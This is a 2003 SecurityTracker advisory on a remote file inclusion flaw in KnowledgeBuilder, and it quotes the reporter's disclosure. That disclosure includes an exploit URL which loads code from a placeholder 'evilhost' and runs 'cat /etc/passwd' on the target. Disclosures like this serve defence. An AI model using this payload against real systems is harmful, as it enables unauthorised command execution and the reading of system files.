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Category:   Application (Generic)  >   KnowledgeBuilder Vendors:   ActiveCampaign, Inc.
KnowledgeBuilder Include File Flaw Lets Remote Users Execute Arbitrary OS Commands
SecurityTracker Alert ID:  1008557
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 27 2003
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  

Description:   An include file vulnerability was reported in KnowledgeBuilder. A remote user can execute arbitrary operating system commands on the target system.

Zero X reported that the software does not validate the 'page' location variable for the 'index.php' script. A remote user can specify a remote location for the index.php file to cause the remote PHP file to be included and executed on the target system.

A demonstration exploit URL is provided:


Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system. The code and commands will run with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Underlying OS Comments:  PHP-based

Message History:   None.

 Source Message Contents

Date:  24 Dec 2003 13:45:22 -0000
Subject:  Remote Code Execution in Knowledge Builder.

Remote Code Execution in Knowledge Builder.

"Knowledge Builder" from allows to execute code.


Create the following file on your webserver:


And then type in the following URL:

http://targethost/kb/index.php?page=http://evilhost/index&cmd=cat /etc/passwd

Zero X, member of and


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